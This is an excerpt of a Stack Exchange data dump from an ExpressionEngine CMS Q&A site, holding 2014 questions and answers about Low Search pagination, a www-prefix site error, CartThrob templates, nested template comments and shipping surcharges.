  <row Id="20032" PostTypeId="2" ParentId="19993" CreationDate="2014-03-06T06:25:39.860" Score="1" Body="&lt;p&gt;Low Search doesn't have &lt;em&gt;specific&lt;/em&gt; support for Channel Files (CF), so whether the two play nicely together depends on how CF stores its (searchable) data. &lt;strong&gt;If&lt;/strong&gt; CF stores its data in the native channel_data table, then you can use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt; to search for substrings like &lt;code&gt;.pdf&lt;/code&gt; etc. If it does not, then a custom filter/extension would be needed to add support for it.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-03-06T06:25:39.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20033" PostTypeId="1" CreationDate="2014-03-06T07:09:24.623" Score="0" ViewCount="286" Body="&lt;p&gt;Low Search pagination does not working with structure. Its only displays first page of pagination. I have also used paginate_base with low search results but issue as it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think issue is low search query which display in url as encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE: 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Search: 2.4.2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:low_search:results query=&quot;{freebie_5}&quot; paginate=&quot;bottom&quot; paginate_base=&quot;/{freebie_1}/{freebie_2}/{freebie_3}/{freebie_4}/{freebie_5}/paginate&quot; loose_ends=&quot;both&quot; limit=&quot;15&quot; status=&quot;not closed&quot; disable=&quot;member_data|category_fields&quot;}&#xA;        &amp;lt;section class=&quot;year-block&quot;&amp;gt;&#xA;            {date_heading display=&quot;monthly&quot;}&amp;lt;p class=&quot;year-title&quot;&amp;gt;{week_date format=&quot; %F, %Y &quot;}&amp;lt;/p&amp;gt;{/date_heading}&#xA;&#xA;            &amp;lt;div class=&quot;listing {switch='odd|even'}{if press_audio_file !=''} audio-icon{/if} cf&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;date&quot;&amp;gt;&amp;lt;span&amp;gt;{entry_date format=&quot;%d&quot;}&amp;lt;/span&amp;gt;{entry_date format=&quot;%M %Y&quot;}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;link&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;postmetadata cf&quot;&amp;gt;&#xA;                        &amp;lt;p class=&quot;release&quot;&amp;gt;Release Ref #: &amp;lt;span&amp;gt;{press_number}&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p class=&quot;posted&quot;&amp;gt;Posted by: &amp;lt;span&amp;gt;{author}&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p class=&quot;viewed&quot;&amp;gt;Viewed: &amp;lt;span&amp;gt;{view_count_one} times&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;        {paginate}&#xA;          {pagination_links}&#xA;              &amp;lt;div class=&quot;paging cf&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;page-name&quot;&amp;gt;Page({current_page}):&amp;lt;/span&amp;gt;&#xA;                  {first_page}&#xA;                          &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;first&quot;&amp;gt;First&amp;lt;/a&amp;gt;&#xA;                  {/first_page}&#xA;&#xA;                  {previous_page}&#xA;                          &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;prev&quot;&amp;gt;Prev&amp;lt;/a&amp;gt;&#xA;                  {/previous_page}&#xA;                  &amp;lt;div class=&quot;pages&quot;&amp;gt;&#xA;                  {page}&#xA;                          &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}current{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;                  {/page}&#xA;                  &amp;lt;/div&amp;gt;&#xA;                  {next_page}&#xA;                          &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;                  {/next_page}&#xA;&#xA;                  {last_page}&#xA;                          &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;last&quot;&amp;gt;Last&amp;lt;/a&amp;gt;&#xA;                  {/last_page}&#xA;              &amp;lt;/div&amp;gt;&#xA;          {/pagination_links}&#xA;        {/paginate}&#xA;        {if low_search_no_results}&#xA;            &amp;lt;p&amp;gt;&#xA;              Sorry, your query did not return any results.&#xA;              Check your spelling or try a different search term.&#xA;            &amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;    {/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please let me know if you have any solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2664" LastEditorUserId="2664" LastEditDate="2014-03-06T09:05:01.717" LastActivityDate="2014-03-06T09:05:01.717" Title="low search pagination does not working with structure" Tags="|search|structure|low-search|pagination|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20034" PostTypeId="2" ParentId="20009" CreationDate="2014-03-06T08:40:18.920" Score="0" Body="&lt;p&gt;The regex option in Low Seg2Cat's settings is meant for something else: when set Low Seg2Cat will &lt;em&gt;only&lt;/em&gt; set the &lt;code&gt;{segment_n_category_x}&lt;/code&gt; variables &lt;em&gt;when the URI matches the given pattern&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I take it you &lt;em&gt;want&lt;/em&gt; to have access to those vars in all cases, so you should leave it blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do want to use the regex option, make sure you also add &lt;a href=&quot;http://php.net/manual/en/regexp.reference.delimiters.php&quot; rel=&quot;nofollow&quot;&gt;the delimiters&lt;/a&gt; to the pattern. In your case, that would mean the pattern could look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#^(/[\w-]+){4}$#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-03-06T08:40:18.920" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20035" PostTypeId="1" CreationDate="2014-03-06T10:40:09.413" Score="0" ViewCount="118" Body="&lt;p&gt;I'm completely running stuck at the moment. In first place I had an issue that if I typed &lt;code&gt;www.mydomain.nl&lt;/code&gt;, the user always was redirected to &lt;code&gt;mydomain.nl&lt;/code&gt;. No idea why and I wanted to force the user to access the site with &lt;code&gt;www.&lt;/code&gt; in the URL. So started looking at this an somehow (without changing a thing I believe), I can now access the site with &lt;code&gt;www.&lt;/code&gt; in the URL, so not being redirected anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm now getting a Site Error if I access the site when using the URL with &lt;code&gt;www.&lt;/code&gt; in front of it. But the site is working fine without the prefix. I don't understand it anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working: &lt;code&gt;http://domain.nl&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not working: &lt;code&gt;http://www.domain.nl&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Giving this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An Error Was Encountered&#xA;Site Error: Unable to Load Site Preferences; No Preferences Found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.htaccess file which is unchanged:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I search for this error, I mostly reed about database errors. But how would a &lt;code&gt;www&lt;/code&gt; in the URL break up a database connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;database.php file in system/expressionengine/config/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;$active_group = 'expressionengine';&#xA;$active_record = TRUE;&#xA;&#xA;$db['expressionengine']['hostname'] = 'localhost';&#xA;$db['expressionengine']['username'] = 'someUser';&#xA;$db['expressionengine']['password'] = 'thePassword';&#xA;$db['expressionengine']['database'] = 'someDatabase';&#xA;$db['expressionengine']['dbdriver'] = 'mysql';&#xA;$db['expressionengine']['pconnect'] = FALSE;&#xA;$db['expressionengine']['dbprefix'] = 'exp_';&#xA;$db['expressionengine']['swap_pre'] = 'exp_';&#xA;$db['expressionengine']['db_debug'] = TRUE;&#xA;$db['expressionengine']['cache_on'] = FALSE;&#xA;$db['expressionengine']['autoinit'] = FALSE;&#xA;$db['expressionengine']['char_set'] = 'utf8';&#xA;$db['expressionengine']['dbcollat'] = 'utf8_general_ci';&#xA;$db['expressionengine']['cachedir'] = 'system/expressionengine/cache/db_cache/';&#xA;&#xA;/* End of file database.php */&#xA;/* Location: ./system/expressionengine/config/database.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1700" LastEditorUserId="1700" LastEditDate="2014-03-06T13:59:35.480" LastActivityDate="2014-03-06T13:59:35.480" Title="Site error when using www. in the URL" Tags="|error|htaccess|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20036" PostTypeId="1" CreationDate="2014-03-06T10:57:01.987" Score="0" ViewCount="35" Body="&lt;p&gt;So I have 4 countries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scotland,&#xA;England,&#xA;Wales,&#xA;&amp;amp; N. Ireland&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want my users when they choose Scotland to get the 32 regions in Scotland, similarly in England you would get the counties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-03-06T14:56:51.443" Title="Conditional Fields in Channel in CP" Tags="|control-panel|drop-down|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20038" PostTypeId="1" AcceptedAnswerId="20197" CreationDate="2014-03-06T12:12:25.183" Score="0" ViewCount="158" Body="&lt;p&gt;Here's a simplified version of my packing slip template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;orders&quot; limit=&quot;1&quot; status=&quot;open|New|Shipped&quot; dynamic=&quot;no&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt; &amp;lt;!-- Shows order number OK --&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Ship to:&amp;lt;/strong&amp;gt; {order_shipping_first_name} {order_shipping_first_name}&amp;lt;/p&amp;gt; &amp;lt;!-- Shows nothing --&amp;gt;&#xA;&#xA;{exp:cartthrob:order_items order_id=&quot;{entry_id}&quot;}&#xA;&#xA;&amp;lt;p&amp;gt;{item:title} {item:price} {item:quantity} {item:subtotal}&amp;lt;/p&amp;gt; &amp;lt;!-- Order items display OK, but I get a PHP warning --&amp;gt;&#xA;&#xA;{/exp:cartthrob:order_items}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I replace {entry_id} with an actual order entry_id and view the template outside of the control panel, it displays everything just fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jKPfH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I set it as the packing slip template in the CT system settings and click 'Print packing slip', it brings up the template OK, but won't display anything other than the {title} tag from the orders channel and throws a PHP warning when displaying the order items:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u6kfY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I using the wrong template tags, or is this a bug in Cartthrob?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right - I've now installed the example CT templates and tried to use that and... It still doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X5Ftu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="906" LastEditorUserId="906" LastEditDate="2014-03-11T21:26:44.347" LastActivityDate="2014-03-11T21:26:44.347" Title="Cartthrob packing slip template doesn't display channel fields" Tags="|cartthrob|publisher|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20039" PostTypeId="1" CreationDate="2014-03-06T13:48:54.363" Score="1" ViewCount="83" Body="&lt;p&gt;Brand new to CartThrob - trying to add the add-to-cart form using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form entry_id=&quot;{entry_id}&quot; return=&quot;store/view_cart&quot; quantity=&quot;1&quot;}&#xA;    ${workshop_price}&#xA;    {title}&#xA;    &amp;lt;input type=&quot;submit&quot; id=&quot;addToCart&quot; class=&quot;btn-default&quot; value=&quot;Add to cart&quot; /&amp;gt;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I get the error &quot;&lt;strong&gt;The RLS field is required.&lt;/strong&gt;&quot;. What's going wrong? I have the latest versions of both CT and EE.&lt;/p&gt;&#xA;" OwnerUserId="2758" LastActivityDate="2014-03-06T14:38:11.637" Title="The RLS field is required. What?" Tags="|cartthrob|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20040" PostTypeId="2" ParentId="20039" CreationDate="2014-03-06T14:38:11.637" Score="2" Body="&lt;p&gt;Actually turns out I already had a form tag above and below... that was causing the issue. Oops!&lt;/p&gt;&#xA;" OwnerUserId="2758" LastActivityDate="2014-03-06T14:38:11.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20041" PostTypeId="1" AcceptedAnswerId="20061" CreationDate="2014-03-06T14:49:41.630" Score="1" ViewCount="61" Body="&lt;p&gt;When I run the update I get this error that fails as soon as it gets to 2.0.0. The script stops when it gets to updating the exp_comments table. I tried setting $conf['allow_extensions'] = &quot;n&quot;; before running the update but that didn't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I successfully updated from EE 1.6 to 1.7.3 first, now the version that I am updating from is EE 1.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vxxzF.png&quot; alt=&quot;Image of error screen&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="278" LastActivityDate="2014-03-06T23:17:07.397" Title="Vague error when updating from EE 1 to EE 2 &quot;The update script failed without returning an error.&quot;" Tags="|upgrade|ee2-upgrades|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20042" PostTypeId="2" ParentId="20036" CreationDate="2014-03-06T14:56:51.443" Score="1" Body="&lt;p&gt;Have a look at the Entry Type Addon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/entry-type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2014-03-06T14:56:51.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20043" PostTypeId="1" AcceptedAnswerId="20057" CreationDate="2014-03-06T15:27:56.573" Score="1" ViewCount="52" Body="&lt;p&gt;The per-item handling surcharge is based on items in the order. &quot;If the user purchases multiple items, this number will be multiplied by the item quantity, and displayed in the {order_handling} variable. (from Exp-resso Store docs)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make this handling charge per order not per Item? Running 1.6x Exp-resso Store.&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2014-03-06T22:06:48.900" Title="Changing the Handling Charge in Exp-resso Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20044" PostTypeId="1" AcceptedAnswerId="20051" CreationDate="2014-03-06T15:57:10.287" Score="1" ViewCount="285" Body="&lt;p&gt;Does anyone else experience issues with their templates when they nest code comments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've inherited a project with some code already commented like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;code code code&#xA;code code code&#xA;{!-- ... some code here ... --}&#xA;code code code&#xA;code code code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I've come along and commented more code out like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;code code code&#xA;{!--&#xA;code code code&#xA;{!-- ... some code here ... --}&#xA;code code code&#xA;--}&#xA;code code code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only to find that the templates completely break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i've ended up doing something similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;code code code&#xA;{!--&#xA;code code code&#xA;&amp;lt;!-- ... some code here ... --&amp;gt;&#xA;code code code&#xA;--}&#xA;code code code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which isn't ideal if I ever come back to this code as it has a completely different (undesired) effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm missing here?&lt;/p&gt;&#xA;" OwnerUserId="2714" LastActivityDate="2014-03-06T17:25:57.090" Title="Problems with nested code comments" Tags="|templates|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20045" PostTypeId="2" ParentId="19871" CreationDate="2014-03-06T15:57:52.357" Score="2" Body="&lt;p&gt;It was the server send mail. Nothing to do with Exp-resso or EE. It was not pointing the the MX record correctly. Just a server setting. &lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2014-03-06T15:57:52.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20046" PostTypeId="1" CreationDate="2014-03-06T16:04:56.253" Score="0" ViewCount="107" Body="&lt;p&gt;Expression Engine's channel entry tag has a parameter called disable for which we can choose to disable various data from being returned and it is supposed to be better for performance to do so. I quote the documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The disable= parameter allows you to turn off aspects of the tag that&#xA;  you might not be using in order to improve performance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;content&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, we use this disable tag on nearly all of our templates on all of our websites. We of course do not disable them for a news or blog page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it has occurred to me, why are they enabled by default? Is it possible to disable these somewhere globally so we do not need to keep using the disable parameter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a waste of space and time for us to add it all the time, and there are likely many developers not using this parameter and not needing the extra data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be better if there was an enable option to add in what you need rather than take away what you dont. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2014-03-07T08:52:01.090" Title="Possible to globally disable categories|category_fields|member_data|pagination instead of channel entry tag everytime?" Tags="|channel-entries|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20047" PostTypeId="2" ParentId="20046" CreationDate="2014-03-06T16:06:53.483" Score="1" Body="&lt;p&gt;There isn't a 'disable the disable' config variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine come the next major EE release (as in 3.0) they'll swap the behaviour though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, have you considered having a snippet for disable all? &lt;code&gt;{disable}&lt;/code&gt; which could just include...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;categories|category_fields|member_data|pagination&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-06T16:06:53.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20048" PostTypeId="2" ParentId="20044" CreationDate="2014-03-06T16:11:44.437" Score="4" Body="&lt;p&gt;Yes, ExpressionEngine comments stop at the next &lt;code&gt;--}&lt;/code&gt; that they find. It's quite irritating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rule of thumb I use is to use HTML comments for notes about the frontend code, and ExpressionEngine comments about the EE code. That tends to eliminate the problem most of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes I just cut + paste blocks of code into other documents while I'm debugging and put them back in later on.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-06T16:11:44.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20049" PostTypeId="2" ParentId="13758" CreationDate="2014-03-06T16:18:44.740" Score="1" Body="&lt;p&gt;The answer here (as provided by the extension developer) is that the proper &quot;To Email&quot; field syntax is {author_email}, not {mbr_email} as it says in the instructions for the extension settings. I am assuming the same goes for the other variables.&lt;/p&gt;&#xA;" OwnerUserId="322" LastActivityDate="2014-03-06T16:18:44.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20050" PostTypeId="2" ParentId="12178" CreationDate="2014-03-06T16:20:56.080" Score="1" Body="&lt;p&gt;(as provided by the extension developer) The proper &quot;To Email&quot; field syntax is {author_email}, not {mbr_email} as it says in the instructions for the extension settings. I am assuming the same goes for the other variables.&lt;/p&gt;&#xA;" OwnerUserId="322" LastActivityDate="2014-03-06T16:20:56.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20051" PostTypeId="2" ParentId="20044" CreationDate="2014-03-06T17:15:04.947" Score="1" Body="&lt;p&gt;So as has been mentioned in the comments on this post, it's not possible to nest EE's template code comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It results in unexpected behaviour. So if like me you suddenly and unexpectedly lose all output from a template, check that you haven't got nested comments.&lt;/p&gt;&#xA;" OwnerUserId="2714" LastActivityDate="2014-03-06T17:15:04.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20052" PostTypeId="2" ParentId="20044" CreationDate="2014-03-06T17:25:57.090" Score="4" Body="&lt;p&gt;You can't actually nest comment blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In PHP you wouldn't be able to nest a &lt;code&gt;/* */&lt;/code&gt; within itself, nor would you be able to nest comments in HTML &lt;code&gt;&amp;lt;!-- &amp;lt;!-- --&amp;gt; --&amp;gt;&lt;/code&gt;, but you could try adding spaces arbitrarily in between for personal notes of where comment blocks used to be. Could be useful if it's a snippet of code you may need to reintroduce later or in a similar template, or just to say something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--&#xA;code code code&#xA;{!- - ... some code here ... - -}&#xA;code code code&#xA;--}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're going to go an arbitrary route you can really do whatever you want within a comment block. I use Coda 2 as my editor, I can edit multiple lines simultaneously and just prefix single line comments. In PHP it'd be &lt;code&gt;//&lt;/code&gt;, but since everything is ultimately enclosed in a comment block you could just do whatever, though you'll have to bear in mind... they're not actually comments on their own. &lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2014-03-06T17:25:57.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20056" PostTypeId="2" ParentId="19275" CreationDate="2014-03-06T21:01:43.777" Score="0" Body="&lt;p&gt;I had success with a modified version of the generic ajax code linked by Solspace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;.voters .yes, .voters .no&quot;) .click (function(e) {&#xA;        e.preventDefault();&#xA;        var link = $(this).attr(&quot;href&quot;)&#xA;        var $helpful = $(this).closest(&quot;.helpful&quot;);&#xA;        $.ajax({&#xA;            url: link,&#xA;            success: function(results){  &#xA;                    $helpful.find(&quot;.voters&quot;).hide();&#xA;                    $helpful.find(&quot;.ajax-response&quot;).html(&quot;Thanks for your vote&quot;);&#xA;                },&#xA;            error: function(results){&#xA;                    $helpful.find(&quot;.ajax-response&quot;).html(&quot;Error - vote not counted&quot;);&#xA;            }&#xA;        });&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, in my &lt;code&gt;{exp:rating:insert_rating_vote}&lt;/code&gt; templates I have messages for success and failure like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:insert_rating_vote&#xA;    rating_id=&quot;{segment_3}&quot;&#xA;    allow_duplicates=&quot;no&quot;&#xA;    duplicate_check_guest_ip=&quot;no&quot; &#xA;}&#xA;{if failure}Error!{/if}{if success}Thanks for your vote{/if}&#xA;{/exp:rating:insert_rating_vote}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But with this ajax method my messages where not being sent (I was seeing the default response) even when using &lt;code&gt;results&lt;/code&gt; or &lt;code&gt;results.message&lt;/code&gt; as the HTML output. So I ended up hard coding the response into the JS - not ideal but in my case works fine.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-03-06T21:01:43.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20057" PostTypeId="2" ParentId="20043" CreationDate="2014-03-06T22:06:48.900" Score="1" Body="&lt;p&gt;It will depend on your shipping gateway but something along the lines of this will work for the UPS gateway. To add the price to the UPS plugin you will want to open up the shipping plugin system/expressionengine/third_party/store/libraries/store_shipping/store_shipping_ups.php scroll down towards the bottom you should see something along the lines of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return (float)$xml-&amp;gt;ShipmentRate-&amp;gt;TotalCharges-&amp;gt;MonetaryValue;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you will want to change that to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return (float)$xml-&amp;gt;ShipmentRate-&amp;gt;TotalCharges-&amp;gt;MonetaryValue +4;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should then add $4 to the calculated price of your shipping.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-03-06T22:06:48.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20058" PostTypeId="1" CreationDate="2014-03-06T22:20:01.510" Score="0" ViewCount="65" Body="&lt;p&gt;As the title says, I've implemented Solspace Facebook Connect's {fbc_publish_to_facebook} but it's not working for comments. It does work fine on ratings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be because I'm submitting my comments via AJAX?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other reasons why the sharing to facebook would fail on comments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to debug it so I can see why it's failing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't get any error or indication that it has failed. The comment simply doesn't get posted to facebook and I have no reason why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prepare page tags and all other necessities are there.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2016-05-13T21:35:02.010" Title="Solspace Facebook Connect {fbc_publish_to_facebook} failing on comments but works on ratings" Tags="|solspace|solspace-facebookconnect|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20060" PostTypeId="2" ParentId="19973" CreationDate="2014-03-06T22:49:17.720" Score="0" Body="&lt;p&gt;For posterity:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.output-div1').html($('#textarea-1').data('wysihat').$editor[0].innerHTML);&#xA;$('.output-div2').html($('#textarea-2').data('wysihat').$editor[0].innerHTML);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc. It's tedious with lots of WysiHats, but it works. We moved away from the &lt;code&gt;keyup&lt;/code&gt; function, but if you were to implement it, it would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#textarea-n').data('wysihat').$editor.on('keyup', function(){ console.log('k'); });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2014-03-06T22:49:17.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
